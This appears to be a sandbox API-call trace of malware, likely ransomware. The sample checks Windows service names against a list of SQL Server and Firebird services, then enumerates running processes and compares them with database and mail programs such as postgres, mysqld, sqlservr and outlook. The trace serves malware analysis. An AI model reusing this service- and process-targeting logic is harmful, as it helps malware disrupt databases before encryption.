	[0098.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0098.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0098.997] lstrlenW (lpString="netprofm") returned 8
	[0098.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0098.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0098.997] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0098.997] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0098.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0098.997] lstrlenW (lpString="NlaSvc") returned 6
	[0098.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0098.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0098.998] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0098.998] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0098.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0098.998] lstrlenW (lpString="nsi") returned 3
	[0098.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0098.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0098.998] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0098.998] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0098.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0098.998] lstrlenW (lpString="PcaSvc") returned 6
	[0098.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0098.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0098.998] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0098.998] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0098.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0098.998] lstrlenW (lpString="PlugPlay") returned 8
	[0098.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0098.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0098.998] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0098.998] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0098.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0098.998] lstrlenW (lpString="Power") returned 5
	[0098.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0098.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0098.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0098.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0098.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0098.998] lstrlenW (lpString="ProfSvc") returned 7
	[0098.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0098.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0098.999] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0098.999] lstrlenW (lpString="RpcEptMapper") returned 12
	[0098.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0098.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0098.999] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0098.999] lstrlenW (lpString="RpcSs") returned 5
	[0098.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0098.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0098.999] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0098.999] lstrlenW (lpString="SamSs") returned 5
	[0098.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0098.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0098.999] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0098.999] lstrlenW (lpString="Schedule") returned 8
	[0098.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0098.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0098.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0098.999] lstrlenW (lpString="SENS") returned 4
	[0098.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0098.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0098.999] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0098.999] lstrlenW (lpString="ShellHWDetection") returned 16
	[0098.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0098.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0098.999] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0099.000] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0099.000] lstrlenW (lpString="Spooler") returned 7
	[0099.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0099.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0099.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0099.000] lstrlenW (lpString="SysMain") returned 7
	[0099.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0099.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0099.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0099.000] lstrlenW (lpString="Themes") returned 6
	[0099.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0099.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0099.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0099.000] lstrlenW (lpString="TrkWks") returned 6
	[0099.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0099.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0099.000] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0099.000] lstrlenW (lpString="UxSms") returned 5
	[0099.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0099.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0099.000] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0099.000] lstrlenW (lpString="VSS") returned 3
	[0099.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0099.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0099.000] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0099.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0099.001] lstrlenW (lpString="WdiServiceHost") returned 14
	[0099.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0099.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0099.001] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0099.001] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0099.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0099.001] lstrlenW (lpString="WdiSystemHost") returned 13
	[0099.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0099.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0099.001] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0099.001] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0099.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0099.001] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0099.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0099.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0099.001] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0099.001] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0099.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0099.001] lstrlenW (lpString="Winmgmt") returned 7
	[0099.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0099.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0099.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0099.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0099.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0099.001] lstrlenW (lpString="WPDBusEnum") returned 10
	[0099.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0099.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0099.001] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0099.001] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0099.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0099.001] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36ba4f0 | out: hHeap=0x4a0000) returned 1
	[0099.001] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4
	[0099.007] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0099.007] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0099.008] lstrlenW (lpString="System") returned 6
	[0099.008] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0099.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0099.008] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0099.008] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0099.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0099.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0099.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0099.008] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0099.009] lstrlenW (lpString="smss.exe") returned 8
	[0099.009] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0099.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0099.009] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0099.009] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0099.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0099.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0099.009] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0099.009] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0099.010] lstrlenW (lpString="csrss.exe") returned 9
	[0099.010] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0099.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0099.010] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0099.010] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0099.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0099.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0099.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0099.010] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0099.011] lstrlenW (lpString="wininit.exe") returned 11
	[0099.011] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0099.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0099.011] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0099.011] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0099.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0099.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0099.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0099.011] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0099.012] lstrlenW (lpString="csrss.exe") returned 9
	[0099.012] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0099.012] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0099.013] lstrlenW (lpString="winlogon.exe") returned 12
	[0099.013] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0099.014] lstrlenW (lpString="services.exe") returned 12
	[0099.014] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0099.015] lstrlenW (lpString="lsass.exe") returned 9
	[0099.015] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0099.016] lstrlenW (lpString="lsm.exe") returned 7
	[0099.016] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.017] lstrlenW (lpString="svchost.exe") returned 11
	[0099.017] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.018] lstrlenW (lpString="svchost.exe") returned 11
	[0099.018] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.019] lstrlenW (lpString="svchost.exe") returned 11
	[0099.019] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.019] lstrlenW (lpString="svchost.exe") returned 11
	[0099.019] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.020] lstrlenW (lpString="svchost.exe") returned 11
	[0099.020] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0099.021] lstrlenW (lpString="audiodg.exe") returned 11
	[0099.021] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.022] lstrlenW (lpString="svchost.exe") returned 11
	[0099.022] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.023] lstrlenW (lpString="svchost.exe") returned 11
	[0099.023] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0099.024] lstrlenW (lpString="dwm.exe") returned 7
	[0099.024] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0099.025] lstrlenW (lpString="explorer.exe") returned 12
	[0099.025] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0099.026] lstrlenW (lpString="spoolsv.exe") returned 11
	[0099.026] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0099.027] lstrlenW (lpString="taskhost.exe") returned 12
	[0099.027] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.028] lstrlenW (lpString="svchost.exe") returned 11
	[0099.028] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0099.029] lstrlenW (lpString="taskeng.exe") returned 11
	[0099.112] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0099.113] lstrlenW (lpString="taskhost.exe") returned 12
	[0099.113] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0099.113] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0099.114] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0099.114] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0099.114] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0099.115] lstrlenW (lpString="zoo.exe") returned 7
	[0099.115] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0099.116] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0099.116] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0099.116] lstrlenW (lpString="determined.exe") returned 14
	[0099.116] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0099.117] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0099.117] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0099.118] lstrlenW (lpString="hansen mails.exe") returned 16
	[0099.118] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0099.119] lstrlenW (lpString="choirsas.exe") returned 12
